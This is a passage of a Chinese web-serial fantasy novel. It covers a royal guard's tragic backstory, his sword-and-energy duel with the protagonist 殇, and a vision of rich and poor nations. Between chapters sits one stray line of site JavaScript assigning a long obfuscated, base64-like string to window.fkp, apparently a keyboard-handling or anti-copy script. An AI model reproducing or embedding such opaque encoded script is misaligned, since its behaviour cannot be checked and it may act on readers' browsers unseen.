“能跟我说说你的过去吗?” 墨子邵: “(疑惑)过去?你怎么会想问我的过去呢?” 伊写下了一行字回答。 “没什么,我只是单纯好奇。” 墨子邵: “(坦然)我的过去也没什么可说的,也就是跟我同年纪的人差不多的过去。只不过我比他们幸运点罢了。” 伊写下了一行字。 “我从电视上见过你,我知道你是太玄国的龙凤卫,我知道你是专门保护皇帝的卫兵。” 墨子邵沉默了一会,过了几秒后他才开口说话。 墨子邵: “(严肃)我的过去啊......你知道那场大规模的感染潮吗?就是第三次大规模感染者入侵那次。我就是在那个时候失去的家人,成为了孤家寡人。在那场混战之中,我运气比较好,被一个善良的老将军给救走了,然后就是现在的我了。” 伊表示很同情,她带有愧疚地写下了一行字。 “很抱歉,又让你回想起不好的过往了。” 墨子邵: “(微笑)没关系,那都是过去的事了。它们早就随风沉淀在历史的河流之中了,就跟一年四季的轮回一样。伤痛我不会忘记,我只是让它们不会蒙蔽我,阻挡我前进下去。——毕竟生活还得接着一天一天过下去,伤痛只是暂时的。不能止步不前,还要迎接明天还会升起的太阳呢。这是收养我的李将军告诉我的道理。” 伊微笑着点了点头,然后写下了一行字。 “你是个坚强的人。” 就在这时,伊的周围再次出现了奇异的光芒,这次的光芒比以往都要温暖,都要强大。也许是太极玉石所导致的,又或许是万灵药所导致的。伊的瞳孔由红色变为金色,熟悉的感觉涌上心头。伊的眼前瞬间一白,然后墨子邵的记忆世界出现在她的眼前。 城内的大街小巷里堆满了尸体,地面上到处都是血,惨叫声与哭喊声回荡在城中的每一个角落。疫病感染者组成的浪潮席卷了这座城市,城市之中警力压根抵御不了这么多的感染者,在苦苦支撑了一段时间后便被感染者屠杀殆尽。后来军队来了,但是感染潮外围的感染者们拦住了军队,军队不得已与外围的感染者进行战斗。军方派出了空中飞行单位对城内的居民进行营救,同时也对城内的感染者进行消耗。但由于感染者的数量太多了,这就导致当军方的飞行器终于可以安全降落的时候,这里居民都被这些感染者所无情地屠戮殆尽了。许多感染者从大楼的入口涌进了城中最高的大楼之中,还有些感染者从建筑的外面向上爬去。许多感染者游荡在大街小巷之中,它们有的啃食那些死相惨烈的尸体,有的在尸体堆中寻找活物来当做追逐用的玩具。现场的状况那叫一个惨啊,尸体成堆,还有如同魔鬼一般的怪物在尸体周围游荡,其景象宛如地狱。 那时的墨子邵才八岁。他一个人从堆积如山的尸体边缘爬了出来,他很害怕,他害怕地止不住地流眼泪,他不敢出声,生怕吸引到到那些感染者的注意。他一个人小心翼翼地走着,走着,漫无目的走着。他低声呼喊他父母的名字,可回应他的只有带有血腥味的风,与骇人的寂静。他走着走着,就迷了路。偌大一座城,光凭他这个八岁的小孩,怎么能在这种情况下走得出去呢?这时,他被四五只感染者盯上了,那四五只感染者对着他低吼,他听到低吼声后因为害怕没有回头,只是一股脑地往前走,因为现在回头,就是一个死字。就在这时,一辆印有太玄国图标的装甲车驶了过来。这辆装甲车停在了他的前方,然后从里面下来了几个身着铠甲的士兵,这些士兵二话不说拿着枪就冲向了墨子邵身后的感染者,这些士兵对着那些感染者连开数枪击毙了它们。墨子邵这时才回头去看身后的景象,看到这些士兵战斗时的背影,墨子邵年幼的心里萌发了一种斗志。这时更多的感染者被枪声血腥味吸引了过来,一场大战一触即发。墨子邵痴痴地望着那些士兵战斗的背影,他第一次切身明白了何为战士,何为英雄。就在这时,一名双手变成爪子的感染者突然从另一边冲向了墨子邵,这名感染者发出了刺耳的尖啸声。墨子邵转头一看,他看到一名手拿方天画戟的战士挡在自己身前,他用手中的方天画戟一下砍死了那名感染者。这个战士转身看向墨子邵,这个战士没多犹豫,直接把墨子邵抱了起来。 李成: “(安抚)孩子,别怕,没事了。有我们在,你是安全的。” 这个战士将墨子邵抱进了装甲车中,他用那大手抚摸了一下墨子邵稚嫩的脸庞,并安慰墨子邵。接着他拿起装甲车上的机枪转头冲向了战场,走的时候还不忘给墨子邵披上伊一件车上的大衣。就是在这个时候,墨子邵认识了自己的养父李成将军。在战斗结束后返回基地的时候,墨子邵发高烧了。李将军见此赶忙给墨子邵准备好了药,然后亲自喂给墨子邵吃。在这一路上,李将军一直没休息,时刻关注着墨子邵的状态。后来在回到了基地的时候,上级准备把墨子邵送到难民营里的孤儿院之中,但李将军没同意,他向上级申请领养墨子邵。虽然上级考虑他家境与年纪的原因一再劝说他把墨子邵送到条件更好的孤儿院之中,但是他这人很倔,一直不同意,反复申请领养墨子邵。 到最后,上级同意了,墨子邵在那天成了李将军的养子。也就是在那一天,墨子邵跟随李将军来到了太玄国首都的皇宫之中。起初墨子邵在李将军身边不爱说话,他那时一直想找到自己的亲身父母。但后来当李将军告诉他真相之后,他大哭了一场。在那之后,他与李将军之间的感情更加厚重了。在墨子邵十岁那年,李将军便开始训练墨子邵。起初墨子邵是不愿意的,他经常偷懒或者躲起来。有一次李将军找到了偷懒的他,并狠狠地训了他一顿。 墨子邵: “(质疑)学武有什么用?!我不愿意学武就别让我学了!” 李成: “(严肃)学武为的是让自己强大,为的是让自己有实力,有自信!有力量不用和没力量是两码事!只有自己强大了,才能保护好自己与周围人。你不是想成为向我们一样的英雄吗?那就努力,那就克服那些棘手的困难。英雄,都是从困难之中磨练出来的。” 在那之后,墨子邵明白了练武的意义,他也开始慢慢接受这种每天都很累的生活。随着年龄的增长与练武时间的增长,他的实力与技巧已经达到了一个同龄人从来没有过的档次。在他十六岁的时候,他因为气不过街上的无赖欺负老实人,他一个人打得对面五个成年人满地找牙,整个过程他就被打中了两拳。就是在那个时候,太玄国皇帝看到了他体内的战斗天赋。之后他在二十一岁的时候被送到了太玄国最强的老师傅秋笠那里学习技巧,就是在那个时候,墨子邵第一次见到了同样有着痛苦遭遇与战斗天赋的轩。她是他的师妹,也是未来墨子邵的同事。 在墨子邵在秋笠那里修炼五年之后,墨子邵和轩通过选拔龙凤卫的比武大赛成为了新一任的龙凤卫。墨子邵接替李将军的凤凰卫,轩接替莫将军的天龙卫。在接替了龙凤卫的位置后,墨子邵从来没让太玄国皇帝与收养他的李将军失望,他秉持着忠于国家与人民的信念一直在他的岗位上与各种敌方势力作斗争。他从未遗忘过初心,他决心要把一生奉献给国家与人民,这是他作为战士的信仰,这是他身为战士的无上荣誉。 突然,一道耀眼的光芒出现在伊的眼前。光芒之后,是拿着武器站在战场上的墨子邵。墨子邵全身发着金色的星光,信仰的光辉映照在他的身上。那是墨子邵的信仰! 墨子邵: “(神情)我的命是李将军给予的,也是国家与人民给予我的。我会成为保护大家的战士,我必将保护好我的国家与人民。我愿意把我的一生倾注在那片龙的土地,这是我作为战士的使命。我愿意为了我所坚守的道路而付出我的生命,这是属于我的宿命。我愿意为了国家与人民而战斗到最后一刻,这是我的信仰!” 在一道闪光过后,伊回到了现实之中。此刻的伊,深切地感觉到墨子邵这个人内心的忠诚与男人气概。看着眼前的墨子邵,伊很是敬佩他。伊胸口的光芒消失了,伊的眼睛重新变回了之前的样子。伊带着敬佩之情写下了一行字。 “你是个好人,墨子邵。” 墨子邵: “(微笑)你也一样。” 伊写下了一行字。 “你害怕接下来与殇的战斗吗?他是个很强大的人。” 墨子邵: “(自信)害怕?有点,毕竟谁都知道他老人家可是个战神。但我相信我能打败他的!” 伊带着好奇写下了一行字。 “如果你输了怎么办?” 墨子邵: “(坦然)输了?输了......那就战死在与他的战斗之中。” 伊带着好奇写下了一行字。 “那你要是赢了呢?” 墨子邵: “(微笑)那就赢了呗。到时候带着好消息回到太玄国,同时也带上你。到时候整个世界将会因为这一战的胜利而颠覆,太玄国将会用新的体制与规则去改变这个世界。到时候底层的人民就可以站起来了,他们再也不会受到压迫了。” 伊带着微笑写下了一行字。 “我也希望能这样。” 墨子邵: “(微笑)看来我们的想法一致。都希望底层的人民过上好日子。” 伊笑着点了点头。 当第二天的太阳从地平线处升起的时候。殇下了床,穿好了衣服,然后和修一起吃了顿早饭。在饭桌上,修向殇道明了他的担忧。 修: “(担心)殇,你确定就休养了一天就去赴约吗?你身上的伤还没完全好呢。而且对方是墨子邵,他可是......” 殇: “(淡定)不用说了,我知道这些。他是龙凤卫,是太玄国最强之人之一。” 修: “(担心)殇,不可轻敌,不可轻敌啊!再歇息几日吧。等伤好了你再去也不迟,毕竟有七日的时间来让你恢复呢。” 殇: “(坚定)不,我今天就走。再在这待下去我都快待傻了,再过个几天我就成老年人了。” 修: “(关心)既然你这么坚决我也拦不住你。记住一点,注意安全。战斗的时候小心点,别弄开了昨日的伤疤。还有别像之前那样使用核心能量,你的核心撑不住。” 殇: “(微笑)知道了。修老弟。” 在吃过早饭后,殇与修道别。在临走前,殇拿走了墨子邵给他的战书与几片镇定剂,战书是为了赴约,而这几片镇定剂为的是能够做到正常发挥。殇跟着流光蝶影走向了在远方的营地,对于殇来说,接下来的一战将是决定他是否能继续前进的至关重要的一战。赢了,继续走下去,输了,止步于此。无论结果如何,殇都将坦然接受。 清风吹过大地,吹动了地上的落叶,却吹不动殇赴约的决心。今天是个晴天,碧蓝色的天空,天空中白云朵朵,烈日当头,又是一个炎热的日子。路边的花儿都开了,阵阵的花香扑面而来,殇深吸了一口带着花香的新鲜空气,花香使他更加精神,更加坚定。走到路中,抬头看去,本来郁郁葱葱的山林竟开始凋零,回首望去,曾经的繁荣之地只剩下了遍地的鬼魂与骇人的寂静。再一个转头,前路迷茫。 殇: “(感伤)曾经,这里是这世上最美丽的地方,以天堂的美景而闻名。无数闻名而来的人在这里见到了天堂一般的美景,无数闻名而来的人将这里变成了最着名的度假区。曾经,这里的客流量是成百上千,金钱如同货物一样在两岸之间来回流转。可现在,这里剩下了什么呢?规模巨大的景区?还是繁华到雕像纹金的酒店?梦碎天府万事皆往痛,只留下教训与尘土罢。” 走了一段时间后,殇看到远处的树林之中有着一缕炊烟,殇很确定那里就是目的地,也是决战之地。殇做好了准备,准备时刻进入战斗。当殇进入到树林边缘的时候,殇突然停下了。这时,在他眼中,他看到了一个握着剑的战士迈着自信的步伐走向了他,不止如此,在这个战士的身后,还跟着一个熟悉的身影。殇对着那个战士笑了笑,看来他找到了下战书的那位战士墨子邵了。殇走向了那个战士,也迈着同样自信的步伐。很快两人就碰面了,对方正如殇所想的一样是墨子邵,而墨子邵身后站着的,也如殇猜测的那样,是伊。见到殇,墨子邵很是惊讶,他没想到殇竟然这么快就找上门来了。见到墨子邵,殇也很惊讶,他没想到堂堂皇家护卫墨子邵竟然会来这种地方。伊见到殇后很是激动,她跑到了殇的面前紧紧地抱住了殇。墨子邵没有拦着她,只是默默地看着。 殇: “(微笑)你这个菜鸟命挺大哈,这都没死。(摸摸伊的头)好了,好了。松开吧,都多大了,还这样。你又不是小孩子了。” 伊松开了殇,然后转头看向了身后的墨子邵,墨子邵的眼神很是坚定,他已经做好了战斗的准备。伊转过头来看着殇,殇的眼神也很坚定,他也做好了战斗的准备。伊的眼神之中满是担心,殇也能看得出来。殇用手拍了拍伊的肩膀,然后对着伊笑了笑。 伊: “(担心)殇......” 伊很自觉地跑到了距离殇足足有十米之远的地方,她躲到了树后看着殇和墨子邵,她很担心殇,因为她在刚刚的拥抱之中看到了殇身上的许多还未痊愈的伤口,殇完全是带着伤来参加战斗。 墨子邵: “(尊敬)你好啊,殇先辈。想不到我们竟然会在这里见面。” 殇: “(微笑)我也一样,我也想不到能在这里见到你,墨子邵。” 墨子邵: “(闭眼微笑)殇先辈,我不求你不会怪罪于我,我只希望你能够理解,我作为战士的心境。” 殇: “(微笑)你我都为战士,我自然知晓。你是个忠诚的战士,有命令在身,我能理解。” 墨子邵: “(睁眼)我是战士,我是太玄国的战士。我只为了真理而战,我只为了我的国家与人民而战。(有些愧疚)我其实不想杀了你,因为你是我的偶像之一,一位无法否认的英雄。(庄重)但是为了改变这个世界的体制,为了那些还在受苦的底层人民,为了我的国家与人民,我必须抗下这份使命。这件事总该有人去做!” 殇: “(闭眼思考)我知道了,看来这一战必须有一人倒下了。” 墨子邵: “(闭眼思考)没错。这次来,我也本来就没想着活着回去。你的实力我心知肚明,想要打败你,是很困难的。(睁眼)但不代表我一定会失败!只要你倒下了,殇王国的实力将落后于太玄国,到时候我们就可以拯救更多的人,改变更多的事。” 殇: “(严肃)你做好觉悟了吗?墨子邵。” 墨子邵: “(自信地笑)赴死之意,贯彻我心。” 殇: “(微笑)你是个伟大的战士,也是个保家卫国的大丈夫。(突然严肃)但很抱歉,我还想继续前进下去。如果你挡在了我的面前,那我就只好请你‘让路’了。” 墨子邵: “(微笑)人人都说是你是个不可救药的混蛋,说你犯下了许多的罪。在我看来,你确实是个混蛋,你所下达那些命令害死了许多人,其中就包括我的父母。但无可否认,你的确是个英雄。” 殇: “(苦笑)那都是过去的老黄历了......” 墨子邵: “(拔出腰间的剑)我已肩负重任,没有回头可言。今日之战已成定局,谁生谁死决定未来。” 墨子邵的剑上燃起了熊熊烈火,许多能量光束汇聚在他的身上,他的核心完成了最后的充能,大战随时都将爆发。殇激活了他的核心,他将能量汇聚在全身,随时准备战斗。 墨子邵: “(庄重)吾,墨子邵。今生今世为国战,不求荣利,唯求苍生幸福安康。若今日死于此地,战后,愿将骸骨葬于乡之麦田中。愿在我死后之秋,葬我之所地能为国献一片金麦田。” 周围的空气开始变得炎热起来,无数微小的火星跃动在周围的地面上,无数的光点在周围闪烁着。站在殇面前的......是一位真正的英雄! 灼热的风吹过林间,小草为之干枯,树木为之颤动。水分正在加速蒸发,温度正在加速上升。如山一般的压迫感迎面袭来,如临大敌的感觉涌上心头。墨子邵用剑指着殇,向殇宣告了自己战斗的意愿。殇用坚定的眼神回应了他。这时,一个藏在阴暗处的人扔给了伊一把带鞘的武士刀。伊看了看手中的这把武士刀,她一眼就认出这是之前的生或死。她看了看周围,她发现之前扔刀的那个人已经消失了。伊看了看现在的局势,她立马明白了扔刀的那个人的用意。她一把把它扔向了殇。 伊: “(激动)殇!” 殇转头看去,他敏锐的眼光瞬间聚焦到了那把向他飞来的武士刀上,他一把抓住了这把武士刀,然后仔细看了看刀鞘上的字。 “命运之刃” 殇认出了这把武士刀,这把武士刀就是之前被他弄丢的那把生或死。见到这把熟悉的武器,殇的嘴角微微上扬,他知道这把武器的威力到底有多大。 殇: “(微笑)好家伙,有这玩意,战斗可就轻松多了啊。” 殇将刀鞘挂在腰间,然后迅速拔出了刀。 殇: “(严肃)开始吧,墨子邵。” 墨子邵手握宝剑一个健步冲向了殇,殇手握太刀也一个健步冲向了墨子邵。墨子邵对着殇连续三剑砍了过去,剑刃划过的地方留下了一片火光,看着格外耀眼。殇连续两刀挡下前两剑,第三剑由于角度原因没法用刀格挡,于是殇猛地一个后撤步躲开。在墨子邵准备发动下一次的攻击的时候,殇一个下劈砍砍了过去,墨子邵见此翻转胳膊一个上挑弹开了殇的刀。紧接着墨子邵对着殇连续三次横砍,殇一个后撤躲开第一下,然后连续两次横砍挡下剩下的两刀。墨子邵握紧拳头,烈火包裹住了他即将出拳的那只手。顷刻间,墨子邵一个肩部冲向了殇,在靠近殇后他一记炎龙拳对着殇打了过去,殇见此将刀横在身前挡下了这一拳。叮的一声过后,殇被向后击退出去五六米,沿路的地面都被刮出了一道深深的痕迹,地面被震得出现了许多裂缝。在停下来后,殇冲着墨子邵笑了笑。然后他一个健步冲向了墨子邵,紧接着两人刀锋对剑刃,开始对砍。两人的手速极快技巧极高,都在对方想要攻击自己弱点的时候防御住敌人的攻击。突然间,殇掐准时机对着墨子邵使用了上挑,这时墨子邵也掐准时机对着殇使用了下劈,两人出招时间几乎相同,两人貌似有着某种默契。叮的一声,两人的刀与剑进行了一次碰撞,很快两人的刀与剑擦锋而过。然后两人互换招式,殇下劈,墨子邵上挑,又是叮的一声,又是一次碰撞。就在两人的刀与剑再次擦锋而过后,两人将汇聚核心能量汇聚在各自的武器上,接着殇对着墨子邵来了一记横扫之刃,墨子邵对着殇来了一记炎爆重击。 顿时间,地面被震出了一个小坑,小坑周围有着许多细长的裂缝,对砍时强大的冲击波激起了地上的碎石,其场面可以用壮观二字来描述。强大的冲击力把两人都往后击退出去四五米。殇和墨子邵对视了三秒,两人的眼神之中都有着坚定的决心与斗志。此时周围很是安静,只能听到风吹树叶与草的沙沙声。殇把手中的刀冲向插进了刀鞘中,他下压身体,一只手握着刀鞘,一只手握着刀柄。墨子邵将身体侧了过来,将另一只胳膊横在身前,他下压身体,向后伸直了自己握着剑的手。淡蓝色的闪电在殇腰间的刀鞘之上涌动,赤橙色的烈火在墨子邵的剑刃上熊熊燃烧。强大的能量充斥在周围的空间之中,两股十分强大的力量正在汇聚,一边是雷霆,一边是烈火。在两人对视结束后,两人都一个健步冲向了对方,两人这次蹬地直接蹬碎了地面。 殇: “隼·居合斩!” 墨子邵: “炎火横扫!” 一道淡蓝色的刀影与一道黄色的剑影划过,两人的刀与剑碰在了一起。在那个瞬间,一道耀眼的光芒出现在刀剑碰撞的位置。刹那间,一股强大的能量喷涌而出,这股能量直接击碎了地面,激起了无数块碎石。殇的肩膀上出现了一个烧焦了的伤疤,墨子邵的肩膀上也出现了一个烧焦的伤疤。紧接着,殇一个侧身用手中的刀刺向了墨子邵,墨子邵一个转身上挑挑开了殇的刀,借此机会,一个转身横扫砍了过去,殇见此一个后撤步躲开。这时,殇注意到墨子邵的剑上燃烧着的烈火突然燃烧得更加旺盛了,他察觉到了不对。强大的火焰汇聚在墨子邵的剑上,灼热的风炙烤着周围的大地,周围的空气变得更加炎热。墨子邵的剑锋对准了殇,他做好架势,准备给予殇致命打击。 墨子邵: “凤游九霄!” 墨子邵拿着手中的宝剑一个侧身对着殇猛地刺了过去。殇见此瞬间一个横扫砍了过去,接着,墨子邵身上的铠甲就出现了一个巨大的裂痕,裂痕之中流出了鲜血。殇想要躲开这一下,但是此时已经为时已晚了。殇之后用汇聚自己大部分的核心能量于自己的全身,争取最大程度地减少这一击的伤害。砰的一声,殇被这一剑击飞了出去。刹那间,巨大且灼热的烈火向他喷涌了过来,同时地面上也燃起了熊熊烈火,其场面看起来就如同一头火焰巨兽撞在了殇的身上,十分壮观。殇飞出去了十米多,沿路的地面上都是熊熊燃烧的烈火。殇下压身体用手抓地缓缓停了下来,在他停下的瞬间,他胸前的伤口裂开了,鲜血从伤口中流出。火焰很快熄灭了,地面上留下了漆黑色的印记。殇冲着墨子邵笑了笑,然后他低着头往地上吐了一口血。他抬起头看着墨子邵,嘴角微微上扬。 殇: “堕落力量,启动!” ...... window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 天堂岛—第十六话:血战沙场 殇的身上出现了紫色的闪电,强大能量汇聚在殇的全身,奇异的光芒照在周围的地面上,将地面染得如紫罗兰一般的紫。殇的双眼变成了红色,他手中的刀的刀锋变成了紫色。 殇: “真正的战斗,现在才刚刚开始。要上了,墨子邵。” 墨子邵握紧了手中的剑,烈火在他的剑上燃烧得更加旺盛了。炎热的风吹过他的身旁,他现在充满了决心与斗志。 墨子邵: “放马过来吧!” 殇将刀插在刀鞘内,他下压身体,做好姿势,接着一个健步冲向了墨子邵,墨子邵见此也一个健步冲向了殇。在两人相互靠近后,两人开始了激烈的对砍。对砍的时候释放了强大的冲击波,周围的地面在微微颤动,地面上的岩石被冲击波击飞到了空中。在一个瞬间,两人都对着对方来了一记重击,这下两人的武器都被弹飞到了自己的后方。殇见此对着墨子邵一拳打了过去,墨子邵一拳招架了过去。殇汇聚核心能量,对着墨子邵来了一记开山拳,墨子邵一个灵活地侧身躲开了这一拳,随后一把抓住殇的胳膊,一个过肩摔给殇撂倒在地上。墨子邵对着地面的殇来了一记炎龙拳,殇一个转身躲开了这一拳。殇找机会站了起来,然后迅速压低身体,对着墨子邵来了一记铁山靠,墨子邵躲避不及被撞飞了出去。因祸得福,墨子邵落地后正好能碰到自己的剑。殇见此察觉到不妙,一个转身冲向了自己的刀。 墨子邵抓住这个机会,他将能量汇聚在剑刃之上,对着殇挥了一剑。一道巨大的火焰剑气飞向了殇,殇一个翻滚加转身拔起地上的刀,然后一刀斩碎了这道剑气。殇握紧手中的刀,一个瞬移来到了墨子邵面前,殇对着墨子邵来了一记下劈,墨子邵一记上挑弹开了殇的刀,殇瞬间改变握刀的姿势,让刀尖对准地面。墨子邵没给殇再次发动攻击的计划,他对着殇一剑刺了过去,殇一个侧身加转身躲开这一剑,同时用手中的刀划伤了墨子邵的手臂。墨子邵一个转身横扫砍向了殇,殇一个后撤步躲开,殇改变握刀姿势,让刀尖重新对准天空。 就在这时,墨子邵一个前冲,用手中的利剑刺向了殇,殇挥刀挡下了这一剑,墨子邵对着殇连续横扫,殇连续挥刀格挡。墨子邵将核心能量汇聚在剑刃上,接着对着殇连续连续三下重砍,殇挥刀格挡,这次的格挡对于殇来说格外吃力。他没有及时将核心能量汇聚在刀上,这就导致了他的格挡显得有些无力。每一次重砍都将殇往后击退了好几米,最后一次重砍甚至差点把殇击飞出去。墨子邵高举手中的宝剑,然后猛地插进了地里。接着,五道带着烈火的震荡波出现在了地面上,这五道震荡波足足有半米之高,它们沿着笔直地轨迹袭向了殇,在震荡波的后面,是无数往上喷涌的火柱,看起来气势汹汹。殇见此瞬间将刀插进了刀鞘中,然后迅速将核心能量转移到了刀刃上,这两件事他几乎是在同一时刻完成的。他一跃而起,躲过了地面上的震荡波,然后对着挡在自己面前的火柱就是一记居合斩。居合斩斩断了他面前的火柱,同时也让他安全穿过了所有火柱。 就在这个时候,墨子邵的身后出现了四把火焰剑,这四把火焰剑悬浮在空中,剑锋对准了殇。在墨子邵用剑指着殇的那一刻,这四把剑直直地飞向了殇。殇见此连续四刀斩断了这四把火焰剑,在被斩断后,这四把火焰剑瞬间爆燃了半秒,然后就熄灭消失了。就在这个时候,殇发现墨子邵不见了。他察觉到不妙,他本能地抬头看去,墨子邵突然出现在了殇的上方。熊熊烈火包裹着墨子邵手中的剑,这烈火形成了一把火焰的巨剑,螺旋状的火焰在火焰巨剑的周围慢慢旋转着,看着格外霸气。他高举着这把火焰巨剑,就如同一位至高无上的战士。 墨子邵: “炎爆巨剑!” 墨子邵拿着这把火焰巨剑对着殇劈了过去,剑刃上的烈火在这一刻燃烧得最猛烈,上面的熊熊烈火好像要吞没了眼前的敌人。殇见此被迫启动了洞察者的能力,让周围时间的流速变慢了。殇快速落地,然后连续后撤十步撤到了一个他认为安全的位置。随后,他解除了洞察者的能力,让时间恢复到正常的流动速度。这时,墨子邵的巨剑劈在了地面上,然后这把火焰巨剑碎掉了,化成了一片烈火。这一剑的威力巨大,劈碎了地面,激起了无数碎石与尘埃。瞬间,在墨子邵附近地面上燃起了高达五米的烈火,同时在周围地面上全都燃起了熊熊烈火,其场面壮观无比。火焰很快就熄灭了,就在这时,墨子邵并没有看到殇,他发觉不对劲,正要四处寻觅殇的踪迹,只听见清脆的一声金属碰撞声,墨子邵腹部的盔甲被砍坏出了一道裂缝。一道发着淡蓝色光芒的幻影以极快速度掠过墨子邵的身边,其速度之快,连墨子邵本人都没看清楚对面的踪影。这个幻影连续四次掠过墨子邵的身边,连续对着墨子邵来了四次居合斩,刀刀都砍在墨子邵盔甲薄弱处以及那道裂缝的位置。顿时,鲜血从墨子邵被砍中的位置飞溅出来,剧烈的疼痛差点让墨子邵当场晕了过去。这个幻影在此刻停下了,他挺直身体,背对着墨子邵自信地收了刀,然后转身看着墨子邵。 殇: “虽然前摇太长,但是妖刀连续居合术的威力却是足足的。” 墨子邵忍着痛将核心能量汇聚在剑刃上,然后对着殇连续五次挥砍释放了五道巨大的火焰剑气。殇见此摇了摇头,然后他转了转手中的刀,接着向前连续突刺斩击砍碎了这五道剑气。墨子邵这时准备再释放一次凤游九霄,但殇没有给他这个机会,他挺直身体,握紧刀鞘,汇聚核心能量。他迅速微微下压身体,同时将刀插进刀鞘,然后迅速出刀收刀,一记次元斩砍在了墨子邵的身上,打断了他的攻击。抓住这个空档,殇将刀插进刀鞘,下压身体,一个健步冲向了墨子邵。墨子邵见此也冲向了殇,他对着殇来了一记横扫,殇一个后撤步躲开,接着一个前冲居合斩砍在了墨子邵身上。这一刀的威力巨大,直接将墨子邵往后击飞出去四五米。墨子邵落地后往地上吐了口血,接着他无力地单膝跪倒在了地上。他将手中的剑插在地上,用一只手扶着那把剑,试图挣扎着站起来,但他的肩上仿佛有一块千斤的巨石,无论他怎么用力,都站不起来。他越是挣扎,他嘴角的血也就越多,他就越是痛苦。最后他放弃了,他喘着粗气,死死地瞪着殇,眼神之中满是不甘。 墨子邵: “(不甘)不......不......不!该死的,站起来啊!墨子邵,你给我站起来啊!战斗还在继续......我不能就这么倒下!” 殇走到了墨子邵的身前,用一种坦然的目光看着他,仿佛是在告诉他胜负是无所谓的。 殇: “(坦然)战斗结束了,你输了。接下来,你该按照约定把伊还给我了。” 墨子邵: “(坚定)不......战斗还没结束!今天,不是你死就是我亡!你可以杀了我,但是绝对不能侮辱我!” 殇: “(微笑)可我不想要杀了你,我只是想要继续前进而已。” 这时,奇异的光芒再次出现在伊的周围,这次的光芒比以往的要更加耀眼,一种熟悉的感觉涌上心头。伊带着好奇慢慢走向了殇和墨子邵,越是靠近他们,那种熟悉的感觉就越剧烈。见到伊过来了,殇很好奇地问道: “伊,你过来干什么?我这边战斗还没完事呢。” 伊: “是光之碎片!我找到光之碎片了,它......就在这周围。” 殇: “就在这周围......(转头看向墨子邵)操......” 在距离殇他们还有几步之遥的时候,伊和殇的眼前突然出现了墨子邵的内心世界的景象。 墨子邵来到了一片开满鲜花的沃土之上,近处有一片规模一般的别墅群,远处还有一栋栋高楼。这里是富人区的土地,这里是社会中上阶级所居住的地方。沃土之上有着人们的欢笑声,墨子邵能看到这里所居住的人民所享受的种种快乐。明媚的阳光,蓝蓝的天空,清新的空气,健康的食物,安全的住所,看着这些,墨子邵的脸上只有无尽的忧愁。他走进了那片繁荣的城市,城市之中的街道很是干净,街上人来人往,马路上车来车往,空中悬浮车在城市之中来回穿梭。这里的街道上没有乞丐,这里的巷子比街道都干净,巷子里面没有小混混,只有淡淡的花香与许多盆用来美化环境的花。城市之中有着许多的院校,墨子邵甚至能从里面听见某个大嗓门的老师的讲课声。 走过城市,就是阻挡感染潮的钢铁高墙,高墙上的军人们正拿着武器防守着这里,防止有感染潮侵入城市。穿过高墙,坐上去码头的车。沿路上,墨子邵看到了一座座被高墙保护起来的巨大的风力发电站替代了周围的原野,一座座被高墙保护起来的工厂替代了原来的村庄与小镇。来到码头的小镇,墨子邵坐上了去东玲国的船。回望这一路上的所见所闻,墨子邵并没有感到一点高兴,而是慢慢的忧愁。 在来到了东玲国之后,墨子邵来到了一片充满废墟的荒地之上,这里是曾经繁荣的一座城市,现在已然是无人前来的废墟。他看向远方,远方是东城,是这个国家的首都,也是为数不多还能够幸存的城市了。他走进城市,这里没有干净的街道,这里没有充满花香的小巷,这里没有拥堵的交通,这里没有很多东西。这里的街边也没有乞丐,因为他们都被清道夫掳走变成了商品。这里没有绝对健康的食物,因为这里的人民他们没有那么多钱。这里没有学校,因为资本垄断了教育。这里最繁荣的地方不是商业街,而是充满风俗店与酒吧的天下一街。 看到这些,墨子邵脸上的忧愁色彩更加浓厚了。墨子邵走到时候坐的是悬浮车,要知道,在这种地方悬浮车可都是公司老总才做得起的。在悬浮车上,墨子邵看到有许多心怀希望的人在望着他,他们的眼神之中满是对明天的希望。墨子邵还看到许多深处绝望之中的人在望着他,他们的眼角有着流不完的泪,他们的眼神之中只有对生活的无限绝望。望着这些活生生的人,墨子邵的心里十分难受。 墨子邵: “(怀疑)这个世界原来是如此的冷酷啊......” 这种强烈的反差让墨子邵感到十分难受,在这一段旅程过后,墨子邵更加坚定了自己国家与自己的信念:为了人民。 墨子邵站在观云阁之上凝望着远方,他的心中有着无限的斗志。他闭上眼睛静静思考,他一直在寻找一个答案,他想知道到底是谁造就了这样的世界。这时,他周围出现了许多幻影,这些幻影都是墨子邵熟悉的人的幻影。这些幻影就站在他身后静静看着他,似乎是在等待他的答案。 墨子邵回想起了李将军,他回想起了自己的童年。他小时候曾在李将军的带领下去过太玄国的各地进行生活,他所生活的地方虽然比不上富人区的繁华,但是起码有最基本的保障。只要他在太玄国,无论他去哪里,都能过得上平等快乐的生活。他看到过许多来自各国的外来者在这里生活,他们过得也一样平等快乐。这是他所梦想的世界的样子,可这都局限在了太玄国的本土。他想让苍生都过上平等快乐的生活,可是这世界的制度不允许他的这个梦可以实现。李将军的幻影走到了墨子邵的身后,他拍了拍墨子邵的肩膀,然后对墨子邵说了一句他常对墨子邵说的话。 “孩子,既然有梦,那就去追吧。” 墨子邵回想起了太玄国皇帝胤,他回想起了自己在岗位上的生活。皇帝胤待他如同亲儿子一般,这让他从小就对皇宫与国家产生的感情。为了自己的国家,他什么都愿意做,哪怕是死,他也愿意。胤的幻影走到了墨子邵的身后,他拍了拍墨子邵的肩膀,然后对着墨子邵说了一句他最常对墨子邵说的话。 “你小子,是好样的!我身边只要有了你和轩,就是天王老子来了都取不走我的命啊。哈哈哈哈......” 墨子邵回想起了自己的同事轩,他回想起了他跟轩的各种回忆。轩是他最衷心的朋友,她时不时会给他送些东西,偶尔还会约他去看看花什么的。因为轩本身是个女子,而且再加上身上有特殊的疾病,所以他代替轩接下了这个危险的任务。他失去的已经够多了,他不想再失去身边的任何一个人了。这是他作为男人的担当,这是他作为战士的勇气,这是他作为强者的自信。轩的幻影走到了他的身后,她没有用手拍墨子邵的肩膀,而是站在墨子邵身后对他诉说自己的内心想法。 